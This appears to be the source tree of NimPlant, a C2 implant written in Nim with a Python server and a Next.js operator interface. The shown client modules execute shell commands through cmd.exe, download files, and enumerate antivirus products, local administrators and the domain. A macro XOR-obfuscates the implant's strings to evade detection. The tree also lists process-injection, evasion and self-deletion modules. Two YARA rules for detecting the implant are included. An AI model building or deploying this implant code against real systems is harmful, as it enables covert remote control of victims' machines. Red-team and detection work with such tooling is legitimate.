├── server ├── __init__.py ├── api │ ├── __init__.py │ └── server.py ├── util │ ├── __init__.py │ ├── config.py │ ├── notify.py │ ├── crypto.py │ ├── input.py │ └── commands.py ├── web │ └── static │ │ ├── favicon.png │ │ ├── _next │ │ └── static │ │ │ ├── _P-evDBh1i_81mqnnQzEU │ │ │ ├── _ssgManifest.js │ │ │ └── _buildManifest.js │ │ │ ├── css │ │ │ └── fde1b109f9704ff7.css │ │ │ └── chunks │ │ │ ├── pages │ │ │ ├── _error-8353112a01355ec2.js │ │ │ ├── server-dcf178e42882a4db.js │ │ │ ├── nimplants │ │ │ │ └── details-6f5a875821a83723.js │ │ │ └── index-57d3eb7d27124de8.js │ │ │ └── webpack-0b5d8249fb15f5f3.js │ │ ├── nimplant.svg │ │ └── favicon.svg ├── requirements.txt └── server.py ├── ui ├── .eslintrc.json ├── public │ ├── favicon.png │ ├── nimplant.svg │ └── favicon.svg ├── next.config.js ├── next-env.d.ts ├── pages │ ├── _document.tsx │ ├── downloads.tsx │ ├── nimplants │ │ ├── index.tsx │ │ └── details.tsx │ ├── _app.tsx │ ├── server.tsx │ └── index.tsx ├── styles │ └── global.css ├── .gitignore ├── tsconfig.json ├── components │ ├── TitleBar.tsx │ ├── InfoCard.tsx │ ├── modals │ │ ├── ExitServer.tsx │ │ ├── Cmd-Upload.tsx │ │ ├── Cmd-Execute-Assembly.tsx │ │ └── Cmd-Inline-Execute.tsx │ ├── DownloadList.tsx │ ├── NimplantOverviewCardList.tsx │ ├── NavbarContents.tsx │ ├── MainLayout.tsx │ ├── InfoCardListServer.tsx │ ├── NimplantOverviewCard.tsx │ ├── InfoCardListNimplant.tsx │ ├── Dots.tsx │ └── Console.tsx ├── package.json ├── modules │ └── nimplant.d.ts └── build-ui.py ├── client ├── commands │ ├── pwd.nim │ ├── cat.nim │ ├── getAv.nim │ ├── mkdir.nim │ ├── cd.nim │ ├── env.nim │ ├── risky │ │ ├── shell.nim │ │ ├── powershell.nim │ │ ├── executeAssembly.nim │ │ └── shinject.nim │ ├── rm.nim │ ├── getLocalAdm.nim │ ├── run.nim │ ├── getDom.nim │ ├── curl.nim │ ├── mv.nim │ ├── cp.nim │ ├── wget.nim │ ├── whoami.nim │ ├── ls.nim │ ├── ps.nim │ ├── download.nim │ ├── reg.nim │ └── upload.nim ├── NimPlant.nimble ├── util │ ├── strenc.nim │ ├── winUtils.nim │ ├── risky │ │ ├── delegates.nim │ │ ├── dinvoke.nim │ │ └── structs.nim │ ├── patches.nim │ ├── selfDelete.nim │ ├── crypto.nim │ ├── functions.nim │ ├── ekko.nim │ └── webClient.nim └── NimPlant.nim ├── .gitignore ├── .github ├── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md └── workflows │ └── main.yml ├── detection ├── nimplant_detection.yar └── hktl_nimplant.yar ├── LICENSE └── config.toml.example /server/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /server/api/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /server/util/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ui/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "next/core-web-vitals" 3 | } 4 | -------------------------------------------------------------------------------- /ui/public/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/NimPlant/main/ui/public/favicon.png -------------------------------------------------------------------------------- /server/web/static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/NimPlant/main/server/web/static/favicon.png -------------------------------------------------------------------------------- /server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_ssgManifest.js: -------------------------------------------------------------------------------- 1 | self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB(); -------------------------------------------------------------------------------- /client/commands/pwd.nim: -------------------------------------------------------------------------------- 1 | from os import getCurrentDir 2 | 3 | # Get the current working directory 4 | proc pwd*() : string = 5 | result = getCurrentDir() -------------------------------------------------------------------------------- /ui/next.config.js: -------------------------------------------------------------------------------- 1 | /** @type {import('next').NextConfig} */ 2 | const nextConfig = { 3 | reactStrictMode: true, 4 | } 5 | 6 | module.exports = nextConfig 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .logs 3 | .vscode 4 | .xorkey 5 | *.bin 6 | *.db 7 | *.dll 8 | *.exe 9 | *.pyc 10 | bin/ 11 | config.toml 12 | server/downloads/ 13 | server/uploads/ -------------------------------------------------------------------------------- /server/util/config.py: -------------------------------------------------------------------------------- 1 | import os, sys, toml 2 | 3 | # Parse server configuration 4 | configPath = os.path.abspath(os.path.join(os.path.dirname(sys.argv[0]), 'config.toml')) 5 | config = toml.load(configPath) -------------------------------------------------------------------------------- /ui/next-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | /// 3 | 4 | // NOTE: This file should not be edited 5 | // see https://nextjs.org/docs/basic-features/typescript for more information. 6 | -------------------------------------------------------------------------------- /server/web/static/_next/static/css/fde1b109f9704ff7.css: -------------------------------------------------------------------------------- 1 | @import url("https://fonts.googleapis.com/css2?family=Inter:wght@100;300;400;700&family=Montserrat:ital,wght@0,100;0,400;0,700;1,400&family=Roboto+Mono:ital,wght@0,400;0,700;1,400;1,700&display=swap");main{overflow:hidden}body{margin:0} -------------------------------------------------------------------------------- /ui/pages/_document.tsx: -------------------------------------------------------------------------------- 1 | import Document from 'next/document'; 2 | import { createGetInitialProps } from '@mantine/next'; 3 | 4 | const getInitialProps = createGetInitialProps(); 5 | 6 | export default class _Document extends Document { 7 | static getInitialProps = getInitialProps; 8 | } -------------------------------------------------------------------------------- /server/requirements.txt: -------------------------------------------------------------------------------- 1 | cryptography==39.0.0 2 | flask_cors==3.0.10 3 | Flask==2.2.2 4 | gevent==22.10.2 5 | itsdangerous==2.1.2 6 | Jinja2==3.1.2 7 | prompt_toolkit==3.0.36; sys_platform=="win32" 8 | PyCryptoDome==3.16.0 9 | pyyaml==6.0 10 | requests==2.28.1 11 | toml==0.10.2 12 | werkzeug==2.2.2 -------------------------------------------------------------------------------- /ui/styles/global.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css2?family=Inter:wght@100;300;400;700&family=Montserrat:ital,wght@0,100;0,400;0,700;1,400&family=Roboto+Mono:ital,wght@0,400;0,700;1,400;1,700&display=swap'); 2 | 3 | main { 4 | overflow: hidden; 5 | } 6 | 7 | body { 8 | margin: 0px; 9 | } -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/pages/_error-8353112a01355ec2.js: -------------------------------------------------------------------------------- 1 | (self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[820],{1981:function(n,_,u){(window.__NEXT_P=window.__NEXT_P||[]).push(["/_error",function(){return u(67)}])}},function(n){n.O(0,[774,888,179],function(){return n(n.s=1981)}),_N_E=n.O()}]); -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an addition or cool new feature for NimPlant 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | - [ ] This issue is not about OPSEC or bypassing defensive products 11 | 12 | --- 13 | 14 | **Feature Description** 15 | -------------------------------------------------------------------------------- /client/commands/cat.nim: -------------------------------------------------------------------------------- 1 | from strutils import join 2 | import ../util/strenc 3 | 4 | # Print a file to stdout 5 | proc cat*(args : varargs[string]) : string = 6 | var file = args.join(obf(" ")) 7 | if file == "": 8 | result = obf("Invalid number of arguments received. Usage: 'cat [file]'.") 9 | else: 10 | result = readFile(file) -------------------------------------------------------------------------------- /client/commands/getAv.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | from strutils import strip 3 | 4 | # Get antivirus products on the machine via WMI 5 | proc getAv*() : string = 6 | let wmisec = GetObject(obf(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\securitycenter2")) 7 | for avprod in wmisec.execQuery(obf("SELECT displayName FROM AntiVirusProduct\n")): 8 | result.add($avprod.displayName & "\n") 9 | result = result.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/mkdir.nim: -------------------------------------------------------------------------------- 1 | from os import createDir 2 | from strutils import join 3 | 4 | # Create a new system directory, including subdirectories 5 | proc mkdir*(args : varargs[string]) : string = 6 | var path = args.join(obf(" ")) 7 | if path == "": 8 | result = obf("Invalid number of arguments received. Usage: 'mkdir [path]'.") 9 | else: 10 | createDir(path) 11 | result = obf("Created directory '") & path & obf("'.") -------------------------------------------------------------------------------- /client/commands/cd.nim: -------------------------------------------------------------------------------- 1 | from os import setCurrentDir, normalizePath 2 | from strutils import join 3 | 4 | # Change the current working directory 5 | proc cd*(args : varargs[string]) : string = 6 | var newDir = args.join(obf(" ")) 7 | if newDir == "": 8 | result = obf("Invalid number of arguments received. Usage: 'cd [directory]'.") 9 | else: 10 | newDir.normalizePath() 11 | setCurrentDir(newDir) 12 | result = obf("Changed working directory to '") & newDir & obf("'.") -------------------------------------------------------------------------------- /client/commands/env.nim: -------------------------------------------------------------------------------- 1 | from os import envPairs 2 | from strutils import strip, repeat 3 | 4 | # List environment variables 5 | proc env*() : string = 6 | var output: string 7 | 8 | for key, value in envPairs(): 9 | var keyPadded : string 10 | 11 | try: 12 | keyPadded = key & obf(" ").repeat(30-key.len) 13 | except: 14 | keyPadded = key 15 | 16 | output.add(keyPadded & obf("\t") & value & "\n") 17 | 18 | result = output.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/risky/shell.nim: -------------------------------------------------------------------------------- 1 | import osproc 2 | 3 | # Execute a shell command via 'cmd.exe /c' and return output 4 | proc shell*(args : varargs[string]) : string = 5 | var commandArgs : seq[string] 6 | 7 | if args[0] == "": 8 | result = obf("Invalid number of arguments received. Usage: 'shell [command]'.") 9 | else: 10 | commandArgs.add(obf("/c")) 11 | commandArgs.add(args) 12 | result = execProcess(obf("cmd"), args=commandArgs, options={poUsePath, poStdErrToStdOut, poDaemon}) -------------------------------------------------------------------------------- /client/commands/rm.nim: -------------------------------------------------------------------------------- 1 | from os import dirExists, removeDir, removeFile 2 | from strutils import join 3 | 4 | # Remove a system file or folder 5 | proc rm*(args : varargs[string]) : string = 6 | var path = args.join(obf(" ")) 7 | 8 | if path == "": 9 | result = obf("Invalid number of arguments received. Usage: 'rm [path]'.") 10 | else: 11 | if dirExists(path): 12 | removeDir(path) 13 | else: 14 | removeFile(path) 15 | result = obf("Removed '") & path & obf("'.") -------------------------------------------------------------------------------- /ui/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | 8 | # testing 9 | /coverage 10 | 11 | # next.js 12 | /.next/ 13 | /out/ 14 | 15 | # production 16 | /build 17 | 18 | # misc 19 | .DS_Store 20 | *.pem 21 | 22 | # debug 23 | npm-debug.log* 24 | yarn-debug.log* 25 | yarn-error.log* 26 | .pnpm-debug.log* 27 | 28 | # local env files 29 | .env*.local 30 | 31 | # vercel 32 | .vercel 33 | 34 | # typescript 35 | *.tsbuildinfo 36 | -------------------------------------------------------------------------------- /client/NimPlant.nimble: -------------------------------------------------------------------------------- 1 | # Package information 2 | # NimPlant isn't really a package, Nimble is mainly used for easy dependency management 3 | version = "1.0" 4 | author = "Cas van Cooten" 5 | description = "A Nim-based, first-stage C2 implant" 6 | license = "MIT" 7 | srcDir = "." 8 | skipDirs = @["bin", "commands", "util"] 9 | 10 | # Dependencies 11 | requires "nim >= 1.6.10" 12 | requires "nimcrypto >= 0.5.4" 13 | requires "parsetoml >= 0.7.0" 14 | requires "puppy >= 2.0.3" 15 | requires "ptr_math >= 0.3.0" 16 | requires "winim >= 3.9.0" -------------------------------------------------------------------------------- /client/commands/getLocalAdm.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | import strutils 3 | 4 | # Get local administrators on the machine via WMI 5 | proc getLocalAdm*() : string = 6 | let wmi = GetObject(obf(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")) 7 | for groupMems in wmi.execQuery(obf("SELECT GroupComponent,PartComponent FROM Win32_GroupUser\n")): 8 | if obf("Administrators") in $groupMems.GroupComponent: 9 | var admin = $groupMems.PartComponent.split("\"")[^2] 10 | result.add(admin & "\n") 11 | result = result.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/run.nim: -------------------------------------------------------------------------------- 1 | import osproc 2 | 3 | # Execute a binary as a subprocess and return output 4 | proc run*(args : varargs[string]) : string = 5 | 6 | var 7 | target : string 8 | arguments : seq[string] 9 | 10 | if args.len >= 1 and args[0] != "": 11 | target = args[0] 12 | arguments = args[1 .. ^1] 13 | else: 14 | result = obf("Invalid number of arguments received. Usage: 'run [binary] '.") 15 | return 16 | 17 | result = execProcess(target, args=arguments, options={poUsePath, poStdErrToStdOut, poDaemon}) -------------------------------------------------------------------------------- /ui/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "strict": true, 8 | "forceConsistentCasingInFileNames": true, 9 | "noEmit": true, 10 | "esModuleInterop": true, 11 | "module": "esnext", 12 | "moduleResolution": "node", 13 | "resolveJsonModule": true, 14 | "isolatedModules": true, 15 | "jsx": "preserve", 16 | "incremental": true 17 | }, 18 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx"], 19 | "exclude": ["node_modules"] 20 | } 21 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Report a bug or unexpected behavior in NimPlant 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | - [ ] This issue is not about OPSEC or bypassing defensive products 11 | - [ ] I have followed the steps in the [Troubleshooting section](https://github.com/chvancooten/NimPlant/blob/main/README.md#troubleshooting) 12 | 13 | --- 14 | 15 | **OS and version:** 16 | **Python version:** 17 | **Nim version:** 18 | **Using Docker:** Yes/No 19 | 20 | --- 21 | 22 | **Issue Description** 23 | 24 | --- 25 | 26 | **Screenshots** 27 | -------------------------------------------------------------------------------- /client/commands/getDom.nim: -------------------------------------------------------------------------------- 1 | from winim/lean import GetComputerNameEx 2 | from winim/utils import `&` 3 | import winim/inc/[windef, winbase] 4 | 5 | # Get the current domain of the computer via the GetComputerNameEx API 6 | proc getDom*() : string = 7 | var 8 | buf : array[257, TCHAR] 9 | lpBuf : LPWSTR = addr buf[0] 10 | pcbBuf : DWORD = int32(len(buf)) 11 | format : COMPUTER_NAME_FORMAT = 2 # ComputerNameDnsDomain 12 | domainJoined : bool = false 13 | 14 | discard GetComputerNameEx(format, lpBuf, &pcbBuf) 15 | for character in buf: 16 | if character == 0: break 17 | domainJoined = true 18 | result.add(char(character)) 19 | 20 | if not domainJoined: 21 | result = obf("Computer is not domain joined") -------------------------------------------------------------------------------- /client/util/strenc.nim: -------------------------------------------------------------------------------- 1 | import macros, hashes 2 | 3 | # Automatically obfuscate static strings in binary 4 | type 5 | dstring = distinct string 6 | 7 | proc calculate*(s: dstring, key: int): string {.noinline.} = 8 | var k = key 9 | result = string(s) 10 | for i in 0 ..< result.len: 11 | for f in [0, 8, 16, 24]: 12 | result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) 13 | k = k +% 1 14 | 15 | var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF 16 | 17 | macro obf*(s: untyped): untyped = 18 | if len($s) < 1000: 19 | var encodedStr = calculate(dstring($s), eCtr) 20 | result = quote do: 21 | calculate(dstring(`encodedStr`), `eCtr`) 22 | eCtr = (eCtr *% 16777619) and 0x7FFFFFFF 23 | else: 24 | result = s -------------------------------------------------------------------------------- /client/commands/curl.nim: -------------------------------------------------------------------------------- 1 | import puppy 2 | from strutils import join 3 | from ../util/webClient import Listener 4 | 5 | # Curl an HTTP webpage to stdout 6 | proc curl*(li : Listener, args : varargs[string]) : string = 7 | var 8 | output : string 9 | url = args.join(obf(" ")) 10 | if url == "": 11 | result = obf("Invalid number of arguments received. Usage: 'curl [URL]'.") 12 | else: 13 | output = fetch( 14 | url, 15 | headers = @[Header(key: obf("User-Agent"), value: li.userAgent)] 16 | ) 17 | 18 | if output == "": 19 | result = obf("No response received. Ensure you format the url correctly and that the target server exists. Example: 'curl https://google.com'.") 20 | else: 21 | result = output -------------------------------------------------------------------------------- /ui/components/TitleBar.tsx: -------------------------------------------------------------------------------- 1 | import { Group, Paper, Title } from "@mantine/core"; 2 | import { useMediaQuery } from "@mantine/hooks"; 3 | import React from "react"; 4 | 5 | type TitleBar = { 6 | title: string, 7 | icon: React.ReactNode, 8 | noBorder?: boolean, 9 | } 10 | 11 | // Simple title bar to show as page header 12 | function TitleBar({title, icon, noBorder=false} : TitleBar) { 13 | return ( 14 | <> 15 | ({ 17 | height: '100px', 18 | backgroundColor: theme.colors.gray[0], 19 | })}> 20 | 21 | 22 | {icon} {title} 23 | 24 | 25 | 26 | 27 | ) 28 | } 29 | 30 | export default TitleBar -------------------------------------------------------------------------------- /ui/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nimplant-ui", 3 | "version": "1.0.0", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next dev", 7 | "build": "next build && next export", 8 | "start": "next start", 9 | "lint": "next lint" 10 | }, 11 | "dependencies": { 12 | "@mantine/core": "^5.9.6", 13 | "@mantine/hooks": "^5.9.6", 14 | "@mantine/next": "^5.9.6", 15 | "@mantine/notifications": "^5.9.6", 16 | "date-fns": "^2.29.3", 17 | "next": "13.1.1", 18 | "react": "18.2.0", 19 | "react-dom": "18.2.0", 20 | "react-icons": "^4.7.1", 21 | "swr": "^2.0.0" 22 | }, 23 | "devDependencies": { 24 | "@types/node": "18.11.18", 25 | "@types/react": "18.0.26", 26 | "@types/react-dom": "18.0.10", 27 | "eslint": "^8.31.0", 28 | "eslint-config-next": "^13.1.1", 29 | "typescript": "4.9.4" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /ui/components/InfoCard.tsx: -------------------------------------------------------------------------------- 1 | import { Paper, Group, Stack } from "@mantine/core" 2 | import { ReactNode } from "react" 3 | 4 | type InfoCardType = { 5 | icon: ReactNode, 6 | content: ReactNode, 7 | } 8 | 9 | // Component for single information card (for server and nimplant data) 10 | function InfoCard({icon, content}: InfoCardType) { 11 | return ( 12 | 15 | 16 | ({ color: theme.colors.gray[3] })}> 17 | {icon} 18 | 19 | 20 | ({ color: theme.colors.gray[7] })}> 21 | {content} 22 | 23 | 24 | 25 | ) 26 | } 27 | 28 | export default InfoCard -------------------------------------------------------------------------------- /server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_buildManifest.js: -------------------------------------------------------------------------------- 1 | self.__BUILD_MANIFEST=function(s,a,e,c){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[s,"static/chunks/845-4fb261feecd435be.js","static/chunks/pages/index-57d3eb7d27124de8.js"],"/_error":["static/chunks/pages/_error-8353112a01355ec2.js"],"/downloads":[s,a,"static/chunks/pages/downloads-2f0191d3d8f39adb.js"],"/nimplants":[s,a,"static/chunks/pages/nimplants-e7253f70128fa4dc.js"],"/nimplants/details":[s,a,e,c,"static/chunks/pages/nimplants/details-6f5a875821a83723.js"],"/server":[s,a,e,c,"static/chunks/pages/server-dcf178e42882a4db.js"],sortedPages:["/","/_app","/_error","/downloads","/nimplants","/nimplants/details","/server"]}}("static/chunks/968-10dac91721e96090.js","static/chunks/673-f991f050544d182e.js","static/chunks/824-bac75cb64c553388.js","static/chunks/200-eb0f3103c52e99a0.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); -------------------------------------------------------------------------------- /client/commands/mv.nim: -------------------------------------------------------------------------------- 1 | from os import dirExists, moveFile, moveDir, splitPath, `/` 2 | from strutils import join 3 | 4 | # Move a file or directory 5 | proc mv*(args : varargs[string]) : string = 6 | var 7 | source : string 8 | destination : string 9 | 10 | if args.len == 2: 11 | source = args[0] 12 | destination = args[1 .. ^1].join(obf(" ")) 13 | else: 14 | result = obf("Invalid number of arguments received. Usage: 'mv [source] [destination]'.") 15 | return 16 | 17 | # Moving a directory 18 | if dirExists(source): 19 | if dirExists(destination): 20 | moveDir(source, destination/splitPath(source).tail) 21 | else: 22 | moveDir(source, destination) 23 | 24 | # Moving a file 25 | elif dirExists(destination): 26 | moveFile(source, destination/splitPath(source).tail) 27 | else: 28 | moveFile(source, destination) 29 | 30 | result = obf("Moved '") & source & obf("' to '") & destination & obf("'.") -------------------------------------------------------------------------------- /client/commands/cp.nim: -------------------------------------------------------------------------------- 1 | from os import copyDir, copyFile, copyFileToDir, dirExists, splitPath, `/` 2 | from strutils import join 3 | 4 | # Copy files or directories 5 | proc cp*(args : varargs[string]) : string = 6 | var 7 | source : string 8 | destination : string 9 | 10 | if args.len >= 2: 11 | source = args[0] 12 | destination = args[1 .. ^1].join(obf(" ")) 13 | else: 14 | result = obf("Invalid number of arguments received. Usage: 'cp [source] [destination]'.") 15 | return 16 | 17 | # Copying a directory 18 | if dirExists(source): 19 | if dirExists(destination): 20 | copyDir(source, destination/splitPath(source).tail) 21 | else: 22 | copyDir(source, destination) 23 | 24 | # Copying a file 25 | elif dirExists(destination): 26 | copyFileToDir(source, destination) 27 | else: 28 | copyFile(source, destination) 29 | 30 | result = obf("Copied '") & source & obf("' to '") & destination & obf("'.") -------------------------------------------------------------------------------- /detection/nimplant_detection.yar: -------------------------------------------------------------------------------- 1 | rule nimplant_detection 2 | { 3 | meta: 4 | description = "Detects on-disk and in-memory artifacts of NimPlant C2 implants" 5 | author = "NVIDIA Security Team" 6 | date = "02/03/2023" 7 | 8 | strings: 9 | $oep = { 48 83 EC ( 28 48 8B 05 | 48 48 8B 05 ) [17] ( FC FF FF 90 90 48 83 C4 28 | C4 48 E9 91 FE FF FF 90 4C ) } 10 | $t1 = "parsetoml.nim" fullword 11 | $t2 = "zippy.nim" fullword 12 | $t3 = "gzip.nim" fullword 13 | $t4 = "deflate.nim" fullword 14 | $t5 = "inflate.nim" fullword 15 | 16 | $ss1 = "BeaconGetSpawnTo" 17 | $ss2 = "BeaconInjectProcess" 18 | $ss3 = "Cannot enumerate antivirus." 19 | 20 | $sr1 = "NimPlant" fullword 21 | $sr2 = "C2 Client" fullword 22 | 23 | $sh1 = "X-Identifier" fullword 24 | $sh2 = "gzip" fullword 25 | condition: 26 | ( $oep and 4 of ($t*) ) 27 | or ( 1 of ($ss*) and 1 of ($sr*) ) 28 | or ( 1 of ($sr*) and all of ($sh*) and 2 of ($t*) ) 29 | } -------------------------------------------------------------------------------- /ui/components/modals/ExitServer.tsx: -------------------------------------------------------------------------------- 1 | import { Button, Modal, Space } from "@mantine/core" 2 | import { FaSkull } from "react-icons/fa" 3 | import { serverExit } from "../../modules/nimplant"; 4 | import { Dispatch, SetStateAction } from "react"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | } 11 | 12 | 13 | function ExitServerModal({ modalOpen, setModalOpen }: IProps) { 14 | return ( 15 | setModalOpen(false)} 18 | title={Danger zone!} 19 | centered 20 | > 21 | Are you sure you want to exit the server? All active nimplants will be killed. 22 | 23 | 24 | 25 | 31 | 32 | ) 33 | } 34 | 35 | export default ExitServerModal -------------------------------------------------------------------------------- /ui/modules/nimplant.d.ts: -------------------------------------------------------------------------------- 1 | declare module Types { 2 | // Nimplant info 3 | export interface NimplantOverview { 4 | id: string; 5 | guid: string; 6 | active: boolean; 7 | ipAddrExt: string; 8 | ipAddrInt: string; 9 | username: string; 10 | hostname: string; 11 | pid: number; 12 | lastCheckin: string; 13 | late: boolean; 14 | } 15 | 16 | export interface ServerInfoConfig{ 17 | killDate: string; 18 | listenerHost: string; 19 | listenerIp: string; 20 | listenerPort: number; 21 | listenerType: string; 22 | managementIp: string; 23 | managementPort: number; 24 | registerPath: string; 25 | resultPath: string; 26 | riskyMode: boolean; 27 | sleepJitter: number; 28 | sleepTime: number; 29 | taskPath: string; 30 | userAgent: string; 31 | } 32 | 33 | export interface ServerInfo { 34 | config: Config; 35 | guid: string; 36 | name: string; 37 | xorKey: number; 38 | } 39 | } 40 | 41 | export default nimplantTypes -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Cas van Cooten (@chvancooten) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /detection/hktl_nimplant.yar: -------------------------------------------------------------------------------- 1 | 2 | rule HKTL_NimPlant_Jan23_1 { 3 | meta: 4 | description = "Detects Nimplant C2 implants (simple rule)" 5 | author = "Florian Roth" 6 | reference = "https://github.com/chvancooten/NimPlant" 7 | date = "2023-01-30" 8 | score = 85 9 | hash1 = "3410755c6e83913c2cbf36f4e8e2475e8a9ba60dd6b8a3d25f2f1aaf7c06f0d4" 10 | hash2 = "b810a41c9bfb435fe237f969bfa83b245bb4a1956509761aacc4bd7ef88acea9" 11 | hash3 = "c9e48ba9b034e0f2043e13f950dd5b12903a4006155d6b5a456877822f9432f2" 12 | hash4 = "f70a3d43ae3e079ca062010e803a11d0dcc7dd2afb8466497b3e8582a70be02d" 13 | strings: 14 | $x1 = "NimPlant.dll" ascii fullword 15 | $x2 = "NimPlant v" ascii 16 | 17 | $a1 = "base64.nim" ascii fullword 18 | $a2 = "zippy.nim" ascii fullword 19 | $a3 = "whoami.nim" ascii fullword 20 | 21 | $sa1 = "getLocalAdm" ascii fullword 22 | $sa2 = "getAv" ascii fullword 23 | $sa3 = "getPositionImpl" ascii fullword 24 | condition: 25 | ( 26 | 1 of ($x*) and 2 of ($a*) 27 | ) 28 | or ( 29 | all of ($a*) and all of ($s*) 30 | ) 31 | or 5 of them 32 | } 33 | -------------------------------------------------------------------------------- /client/commands/wget.nim: -------------------------------------------------------------------------------- 1 | import puppy 2 | from strutils import join, split 3 | from os import getcurrentdir, `/` 4 | from ../util/webClient import Listener 5 | 6 | # Curl an HTTP webpage to stdout 7 | proc wget*(li : Listener, args : varargs[string]) : string = 8 | var 9 | url : string 10 | filename : string 11 | res : string 12 | 13 | if args.len == 1 and args[0] != "": 14 | url = args[0] 15 | filename = getCurrentDir()/url.split(obf("/"))[^1] 16 | elif args.len >= 2: 17 | url = args[0] 18 | filename = args[1 .. ^1].join(obf(" ")) 19 | else: 20 | result = obf("Invalid number of arguments received. Usage: 'wget [URL] '.") 21 | return 22 | 23 | res = fetch( 24 | url, 25 | headers = @[Header(key: obf("User-Agent"), value: li.userAgent)] 26 | ) 27 | 28 | if res == "": 29 | result = obf("No response received. Ensure you format the url correctly and that the target server exists. Example: 'wget https://yourhost.com/file.exe'.") 30 | else: 31 | filename.writeFile(res) 32 | result = obf("Downloaded file from '") & url & obf("' to '") & filename & obf("'.") -------------------------------------------------------------------------------- /ui/pages/downloads.tsx: -------------------------------------------------------------------------------- 1 | import { FaDownload } from 'react-icons/fa' 2 | import { Card, Group, ScrollArea, Text } from '@mantine/core' 3 | import { useMediaQuery } from '@mantine/hooks' 4 | import DownloadList from '../components/DownloadList' 5 | import TitleBar from '../components/TitleBar' 6 | import type { NextPage } from 'next' 7 | 8 | // Tabbed page for showing server information 9 | const ServerInfo: NextPage = () => { 10 | const largeScreen = useMediaQuery('(min-width: 800px)') 11 | 12 | return ( 13 | <> 14 | } noBorder /> 15 | 16 | ({ color: theme.colors.gray[5] })}> 17 | 18 | Filename 19 | 20 | 21 | Size 22 | 23 | 24 | Downloaded 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | ) 34 | } 35 | export default ServerInfo -------------------------------------------------------------------------------- /ui/build-ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # ----- 4 | # 5 | # NimPlant - A light-weight stage 1 implant and C2 written in Nim and Python 6 | # By Cas van Cooten (@chvancooten) 7 | # 8 | # This is a helper script to build the Next.JS frontend 9 | # and move it to the right directory for use with Nimplant. 10 | # End-users should not need to use this script, unless frontend 11 | # modifications have been made. 12 | # 13 | # ----- 14 | 15 | import os, shutil, subprocess 16 | 17 | # Compile the Next frontend 18 | print("Building Nimplant frontend...") 19 | 20 | process = subprocess.Popen("npm run build", shell=True) 21 | process.wait() 22 | 23 | # Put the output files in the right structure for flask 24 | print("Structuring files...") 25 | 26 | sourcedir = "out/" 27 | targetdir = "out/static/" 28 | files = [ 29 | "_next", 30 | "404.html", 31 | 